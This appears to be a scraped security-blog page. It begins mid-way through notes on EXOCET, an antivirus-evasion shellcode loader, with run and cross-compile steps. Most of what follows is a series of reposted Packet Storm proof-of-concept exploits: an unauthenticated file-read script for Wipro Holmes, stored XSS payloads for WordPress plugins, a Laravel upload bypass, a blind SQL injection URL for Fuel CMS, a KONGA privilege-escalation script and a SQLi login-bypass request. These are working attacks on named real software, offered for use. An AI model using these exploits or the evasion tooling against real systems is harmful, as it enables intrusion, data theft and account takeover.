Step 4: Now run the command go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEYStep 5: You can attempt to run it but you'll run into memory access violation errors for some reason, which I am still working on
Note on Memory Access Violation Problem
Apparently, aside from the major limitations of CGO that prohibit or dramatically frustrates cross-compilation, the issue is that the shellcode we want to execute is landing in a section of memory (analyzed in WinDBG x64) that is not RWX. In other words, unless we write C code that explicitly allows execution in memory of the shellcode, it will always throw access violation errors.The other method, that I observed other developers of rudimentary Go modules https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, is that they use Go's Windows API to interact with ntdll.dll and kernel32.dll to call VirtualAlloc and specify areas of RWX memory pages. This method works better, but it seems that the shellcode must be in num-transformed format only for it to work.I am still working on this you guys. I may combine multiple programming languages together to write a proper shellcode execution module
Note on Apple M1 Chips for precompiled binaries
Unfortunately I am running into errors for making a pre-compiled binary for MacBooks running the new M1 CPUs. It may be a issue with my Golang installation┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
Either way, you still require Golang to compile or cross-compile the malware to the platform you are targeting.

Download EXOCET-AV-Evasion (https://github.com/tanc7/EXOCET-AV-Evasion)

Recon Experience with Trickest — Subdomain Recon Tale in a Workflow #1

Main goalContinue reading on Medium »
Read more...

DOS attack in Yahoo, How i was able to deny new users from service?

Hey All ,Continue reading on Medium »
Read more...

Polysynth Trading Competition

Calling all traders to participate in the Polysynth Trading Competition.Continue reading on Medium »
Read more...

TEN X IMMUNEFI

· TEN Finance announcing Immunefi Bug Bounty for YIELDEX!Continue reading on tenfinance »
Read more...

Exploit Collector
Wipro Holmes Orchestrator 20.4.1 Arbitrary File Download

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Wipro Holmes Orchestrator version 20.4.1 unauthenticated arbitrary file reading proof of concept exploit.

MD5 | 04adf28661ef09514ae3eb4f550b8b3d

Download
# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC
# Date: 05/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38146

import requests as rq
import argparse

port = 8001 # change port if application is running on different port

def file_download(host, filepath):
vuln_url = "http://%s:%s/home/download" % (host, port)
data = {
"SearchString": filepath,
"Msg": ""
}

hdr = {
"content-type": "application/json"
}

resp = rq.post(vuln_url, headers=hdr, json=data)

print resp.text

def main():
parser = argparse.ArgumentParser(
description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download",
epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"
)
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
parser.add_argument("-f","--file-path", help="Absolute Path of the file to download", default="C:/Windows/Win.ini")
args = parser.parse_args()

if "\\" in args.file_path:
fp = args.file_path.replace("\\", "/")
else:
fp = args.file_path
file_download(args.target_ip, fp)

if __name__ == "__main__":
main()

Source:packetstormsecurity.com

Exploit Collector
WordPress Contact Form To Email 1.3.24 Cross Site Scripting

https://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png
WordPress Contact Form to Email plugin version 1.3.24 suffers from a persistent cross site scripting vulnerability.

MD5 | 9e28ce6804cc0140474721ef8ea6e4d2

Download
# Exploit Title: WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 11/11/2021
# Exploit Author: Mohammed Aadhil Ashfaq
# Vendor Homepage: https://form2email.dwbooster.com/
# Version: 1.3.24
# Tested on: wordpress

POC
1. Click Contact form to Email
http://192.168.111.129/wp-admin/admin.php?page=cp_contactformtoemail
2. Create new form name with
3. Click Publish
4. XSS has been triggered
http://192.168.111.129/wp-admin/admin.php?page=cp_contactformtoemail&pwizard=1&cal=4&r=0.8630795030649687
5. Open a different browser, logged in with wordpress. Copy the URL and
Press enter. XSS will trigger.


Source:packetstormsecurity.com

Exploit Collector
PHP Laravel 8.70.1 Cross Site Request Forgery / Cross Site Scripting

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
PHP Laravel version 8.70.1 suffers from cross site scripting and cross site request forgery related vulnerabilities.

MD5 | 658c486e9e1e6766cdb966e8b5d07dc4

Download
# Exploit Title: PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
# Date: 14/11/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://laravel.com/
# Software Link: https://laravel.com/docs/4.2
# Version: Laravel Framework 8.70.1
# Tested on: Windows/Linux

# Description: We can bypass laravel image file upload functionality to upload arbitary files on the web server
# which let us run arbitary javascript and bypass the csrf token , For more information read this one https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

# Steps to reproduce:
1- Use HxD tool and add FF D8 FF E0 at the very begining of your file
2- Use code below to bypass csrf token

ÿØÿà

Laravel Csrf Bypass
3- Save it as Html file and upload it.

Source:packetstormsecurity.com

Exploit Collector
Fuel CMS 1.4.13 SQL Injection

https://2.bp.blogspot.com/-Nz8u9CyJbsU/WWlveW9d4WI/AAAAAAAAIPw/tdSVtwWBcYIHlgRN6nbdKVd_fE-UdNKsACLcBGAs/s1600/h80.png
Fuel CMS version 1.4.13 suffers from a remote blind SQL injection vulnerability.

MD5 | ded71df9f03f0d856f150af3b1ddcab0

Download
# Exploit Title: Fuel CMS 1.4.13 - 'col' Parameter Blind SQL Injection
(Authenticated)
# Date: 2021-04-11
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link:
https://github.com/daylightstudio/FUEL-CMS/archive/1.4.13.zip
# Version: 1.4.13
# Tested on: Kali Linux, PHP 7.4.16, Apache 2.4.46

Steps to Reproduce:
1. At first login your panel
2. then go to "Activity Log" menu
3. then select any type option
4. their "col" parameter is vulnerable. Let's try to inject Blind SQL
Injection using this query "and (select * from(select(sleep(1)))a)" in
"col=" parameter.

POC:
http://127.0.0.1/fuel/logs/items?type=debug&search_term=&limit=50&view_type=list&offset=0&order=desc&col=entry_date
and (select * from(select(sleep(1)))a)&fuel_inline=0

Output:
By issuing sleep(0) response will be delayed to 0 seconds.
By issuing sleep(1) response will be delayed to 1 seconds.
By issuing sleep(5) response will be delayed to 5 seconds.
By issuing sleep(10) response will be delayed to 10 seconds

Source:packetstormsecurity.com

Exploit Collector
KONGA 0.14.9 Privilege Escalation

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
KONGA version 0.14.9 suffers from a privilege escalation vulnerability.

MD5 | 291bb03392b45ade830080cc3b83f352

Download
# Exploit Title: KONGA 0.14.9 - Privilege Escalation
# Date: 10/11/2021
# Exploit Author: Fabricio Salomao & Paulo Trindade (@paulotrindadec)
# Vendor Homepage: https://github.com/pantsel/konga
# Software Link: https://github.com/pantsel/konga/archive/refs/tags/0.14.9.zip
# Version: 0.14.9
# Tested on: Linux - Ubuntu 20.04.3 LTS (focal)
import requests
import json

urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga" # change user
password = "changeme" # change password

headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Content-Type": "application/json;charset=utf-8",
"connection-id": "",
"Origin": urlkonga,
"Referer": urlkonga
}

url = urlkonga+"login"

data = {
"identifier":identifier,
"password":password
}

response = requests.post(url, json=data)
json_object = json.loads(response.text)
print("[+] Attack")
print("[+] Token " + json_object["token"])

url2 = urlkonga+"api/user/"+str(json_object["user"]["id"])
id = json_object["user"]["id"]
print("[+] Exploiting User ID "+str(json_object["user"]["id"]))

data2 = {
"admin": "true",
"passports": {
"password": password,
"protocol": "local"
},
"password_confirmation": password,
"token":json_object["token"]
}

print("[+] Change Normal User to Admin")
response2 = requests.put(url2, headers=headers, json=data2)
print("[+] Success")


Source:packetstormsecurity.com

Exploit Collector
Simple Subscription Website 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Simple Subscription Website version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | d0f2418dde749f911db5dbbbbd28b417

Download
# Exploit Title: Simple Subscription Website 1.0 - SQLi Authentication Bypass
# Exploit Author: Daniel Haro (Dirox)
# Vendor Homepage: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html
# Version: Simple Subscription Website 1.0
# Tested on: Windows, xampp
# CVE: CVE-2021-43140

- Description:
SQL Injection vulnerability exists in Sourcecodester. Simple Subscription Website 1.0. An account takeover exists with the payload: admin' or 1=1-- -

PoC:

POST /plan_application/Actions.php?a=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/plan_application/admin/login.php
Cookie: PHPSESSID=lcikn75hk4lk03t5onj0022mj3

username=admin'+or+1%3D1--+-&password=admin'+or+1%3D1--+-


Source:packetstormsecurity.com

Exploit Collector
WordPress WPSchoolPress 2.1.16 Cross Site Scripting

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
WordPress WPSchoolPress plugin version 2.1.16 suffers from cross site scripting vulnerabilities.

MD5 | 729a454da76a432cc4eb46e692268e44

Download
# Exploit Title: WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)
# Date: 20/08/2021
# Exploit Author: Davide Taraschi
# Vendor Homepage: https://wpschoolpress.com/
# Software Link: https://wpschoolpress.com/free-download/
# Version: up to 2.1.17 (non included)
# Tested on: Ubuntu 20.04 over WordPress 5.8 and apache2
# CVE : CVE-2021-24664

# Description:
The plugin sanitise some fields using a wordpress built-in function called sanitize_text_field() but does not correctly escape them before outputting in attributes, resulting in Stored Cross-Site Scripting issues.
The function wp_sanitize_text_field() escape < and > but does not escape characters like ", allowing an attacker to break a HTML input tag and inject arbitrary javascript.

# PoC:
As admin,
- Add a new teacher attendance (/wp-admin/admin.php?page=sch-teacherattendance), Tick the Absent box and put the following payload in the Reason: "style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another teacher attendance by clicking on the Add button

- Add a new Student Attendance (/wp-admin/admin.php?page=sch-attendance), tick the Absent box and put the following payload in the Reason: " style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another attendance by clicking the 'Add/Update' button

- Add a new Subject Mark Field (/wp-admin/admin.php?page=sch-settings&sc=subField) and put the following payload in the 'Field': " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the created Subject Mark (ie /admin.php?page=sch-settings&sc=subField&ac=edit&sid=3)

- Create a new Subject (/wp-admin/admin.php?page=sch-subject), with the following payload in the Subject Name field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Subject

- Create a new Exam (/wp-admin/admin.php?page=sch-exams) with the following payload in the Exam Name Field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Exam=20

Note that some of this XSS issues can be executed by a teacher (medium-privileged user), but since wordpress uses HTTPonly cookies is impossible to steal cookies.


Source:packetstormsecurity.com